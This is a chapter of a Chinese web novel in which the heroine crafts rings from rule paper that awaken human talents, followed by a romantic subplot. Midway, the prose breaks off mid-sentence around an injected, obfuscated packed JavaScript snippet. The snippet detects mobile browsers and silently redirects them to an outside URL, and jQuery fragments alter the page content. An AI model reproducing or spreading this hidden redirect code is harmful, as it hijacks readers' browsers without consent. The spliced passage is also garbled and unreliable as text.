应宴不明所以，但还是开口道：“之前的那些材料都不行，太脆弱，需要新的材料。”


    考虑到研究所比较困难，她补充道：“不需要很多，只需要黄豆大小即可。”


    闻言，羊元良有些动容。


    别的研究员恨不得使尽浑身解数，好从他这里拿到尽可能多的实验材料，少有人会主动提议减少。


    想当初，他也是不大看重钱财的性格，却硬生生被现实磨成了市侩俗气的样子。


    他拍着胸脯，说道：“财神放心，这件事交给我就好！”


    太大的金属不好弄，但个头小的还不好说嘛？


    大不了他厚着脸皮到各个实验室转悠转悠。


    听到“财神”，应宴开始没反应过来。


    她什么时候成财神了？


    但有段央开玩笑在前，她很快回过神来，说道：


    “我不是财神，怪谈APP的爆火，是多方面因素的结果，离不开大家共同的努力。”


    羊元良连忙点头，说道：“对对，我知道，财神请这边走，我带你去食堂。”


    研究所的路七拐八绕，没人带路，就算有地图，也很考验人。


    眼瞅着饭点到了，可不能饿到财神。


    望着男人眼底的真挚和认真，应宴放弃挣扎。


    算了，叫就叫吧，不过是一个称呼。


    她在一声声财神中来到食堂，随便吃了点，就又扎进水果罐头，不对，隔绝污染的房间里研究。


    期间，羊元良送来零零碎碎的材料，像是制作道具时剩下的边角料，材质各异，不拘泥于金属。


    或许，可以去掉“像是”，就是边角料。


    应宴也不在意，加紧时间研究。


    在经历千百次的失败后，她换了种思路，重新思考。


    找到能同时承载流光种子和限制规则的材料比较困难，那寻找单单承载规则的材料呢？


    应宴将主意打到福斯有限公司上。


    不到半个小时，湉棋揣着一摞规则纸，匆匆赶来。


    一段时间不见，她身穿职业套装，黑发盘起，踩着高跟鞋雷厉风行。


    身上越来越有领头人的风范，丝毫不见初见面时的狼狈。


    人生的际遇就是如此。


    当她在职场鄙视链底端苦苦煎熬，从没想过会有一天当上公司的二把手，统揽大大小小的事项。


    湉棋稍微有些紧张，问道：“老板，公司这是要大改革吗？”


    这么多规则纸，让她有点不好的联想。


    应宴露出微笑，说道：“别紧张，公司现在这样很好。规则纸，我另有用处。”


    她说完，指尖浮现出淡淡金光，缠绕住最上面的纸。


    湉棋瞳孔骤缩，屏住呼吸，身体僵在远处。


    由于长年累月与规则共处，她对规则的感知，要比现实的人敏锐得多。


    所以此刻，她能清楚感受到，金光蕴含的强大威压。


    打个不恰当的比喻，那就像个正在倒计时的炸弹，令她想将怀里的规则纸全扔出去。


    但炸弹没炸，应宴看出湉棋的颤抖，将那摞规则纸接了过去。


    她垂着眼眸，静静等待。


    四十分钟后，原本抖个不停活像触电的纸恢复安静。


    纸张边沿泛着金色，像镀了层鎏金花边，闪烁明亮的光泽。


    她将湉棋打发走，手指握着那张纸。


    另一只手掌心凝出流光种子，并慢慢融入到纸中。


    纸张再次颤抖起来，像风吹过的战栗，表面逐渐显露出河流的纹路。


    半个小时后，流光种子的尖尖也融合进去。


    原本雪白的纸面，凭空出现一条流淌在黑暗中的河流，闪烁金色微光。


    应宴捻着纸左右看了看，感觉比预料中的要大。


    她掏出星星遗落的黑剪刀，用天赋强化后，咔嚓咔嚓把纸剪成数十条细长的纸条。


    做完后，她找了根铁丝，将纸条粘在上面，弯曲成指环的形状。


    操作流程并不复杂，没过多久，剩下的纸条，也全被做成了指环。


    接下来，该测测它们能不能达到预期。


    这得找别的人进行尝试。


    她自己早就和天赋融为一体，是无法使用指环的。


    *


    傍晚时分，西沉的金乌将落地窗染成一片灿烂。


    廖北嘉坐在办公桌旁边，戴着平框眼镜，正在查阅各种资料。


    阳光照亮脸颊，勾出清秀好看的轮廓。


    就在这时，门口响起清脆的敲门声。


    她抬起头来，说道：“请进。”


    出乎意料，又在情理之中的，应宴走了进来。


    她手中拎着塑料袋，里面装着的小巧物品在夕阳里，熠熠生辉。


    廖北嘉被晃得眯了眯眼，说道：“我以为你还要过几天才来。”


    “正常情况下，是这样的。”应宴道，“但我思考过很长时间，各种情况都囊括在内。”


    她晃了晃塑料袋，问道：“要做第一个吃螃蟹的人吗？”


    廖北嘉道：“螃蟹处理起来很麻烦，但你的，我不介意试试。”


    她接过塑料袋，从中取出一个指环，毫不迟疑地套在手指上。


    这一举动，象征着全盘的信任。


    她相信应宴不会拿人命开玩笑，给出的东西就算有风险，也不会太大。


    但应宴的能力，还是大大出乎廖北嘉的预料。


    十分钟后，她五指合拢，挂在大门一侧的贝雷帽飞了过来，落在掌心中。


    应宴道：“恭喜，你觉醒了隔空取物的天赋。”


    许是出于同源的缘故，当指环里蕴含的力量融入到人类的皮肤，唤醒潜藏在基因的潜能时，她能清晰感受到那股能量波动，并迅速做出判断。


    廖北嘉霍的站起来，椅子发出刺啦的摩擦声。


    这种失态在她身上，几乎是不可能的事情，但内心的激动实在不可遏制。


    “代价是什么？严不严重？用的材料贵不贵？能不能实现量产？”


    应宴一一回答：“代价是蚕食人产生的少量恐惧，不算严重。”


    “材料分两部分，规则纸由公司提供；里面的铁丝应该不贵。量产的问题不大。”


    万事开头难，她弄清制作方法后，可以大批量生产指环。


    如果发挥卷王精神，半个月应该能基本搞定。


    廖北嘉深深吸气，呼气，再深深吸气，呼气，还是无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069427|169748||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    法平复激动的心情。


    她扑上去抱住应宴，嘴唇颤抖，半天说不出话来。


    尽管初始的天赋力量并不强大，也有局限性，但这象征着希望，对抗诡怪的希望。


    人类不再是待宰的羔羊，而有了反抗挣扎的力量，可以靠自己努力活下去。


    金乌西沉，黑夜将至。


    但不用为此担忧，一轮新的太阳，会准时升起。


    *


    庄霁结束有生以来最快的一次任务，来到应宴家里，赖着不走了。


    他察觉自己的心意后，克制不住心中的喜欢，想方设法、事无巨细地收集对方的信息：


    夸奖赞美放到备忘录里，认真研究学习。


    批评中伤统统拉黑，我喜欢的人岂容你们说三道四！


    然后，他发现一个铁板钉钉的事实：


    应宴对待不喜欢的追求者，向来是不留希望，直接拒绝。


    这点，让庄霁心中燃起小火星。


    上次的乌龙事件，应宴并没有直接拒绝，而是本能选择逃避。


    这说明什么，说明她对他，还是有那么一点点好感的。


    只要有好感，庄霁就不愿意放弃。


    追心上人要讲究方针和策略，他做好准备，揪住学姐学姐的绊脚石妹妹扔家里，找了个借口，主动去找应宴。


    正好应宴发现诡问APP消失，缺个人做试验。


    庄霁当即表示早就准备好要进下个域，可以现在试一试。


    他是奔着增进感情的双排去的，没想到睁开眼黄沙漫天，没有找到那抹熟悉的身影。


    回来后，庄霁心情糟糕，缠上应宴。


    他知道从道理上站不住脚，就蛮不讲理地耍无赖，硬要和对方双排。


    不过，青年大概是第一次做这种无赖事。


    他一面摆出不达目的誓不罢休的架势，一面偷偷观察应宴的神情。


    生怕把人惹恼了，适得其反。


    有点像做错事后暗中观察的猫咪。


    应宴没忍住摸了一把，下一秒对上庄霁愕然的眼神。


    她咳嗽两声，假装不经意收回手，转移话题道：“双排也不是不行，我有张电影票，不出意外的话，进去应该没问题。”


    庄霁僵着身体，发梢上似乎还停留着掌心的温热，耳垂微微泛起薄红。


    明明他之前很反感这种类似摸小动物的行为，认为这是不尊重和冒犯。


    但应宴是不一样的，她只是觉得他可爱而已……


    乱七八糟脑补完，他回应时就慢了半拍：“嗯，我会想办法的。”


    说完后，庄霁才意识到自己的话有些前言不搭后语：“不对，抱歉，我是想问哪部电影？”


    应宴觉得他更可爱了。


    但用可爱形容成年男性，似乎不太恰当。


    她很快将这点奇异的念头甩到脑后，说道：“是《菏泽惊魂》。”


    那还是完成调查问卷后的特殊奖励，附带的印着烫金小字的电影票。


    说起来，白瓷雕塑算是诸多诡怪中的另类。


    它脾气温和，很好商量，有的时候给人的感觉，更像个容易心软的长辈。


    她欠白瓷雕塑一个答案，如今是时候该履行承诺。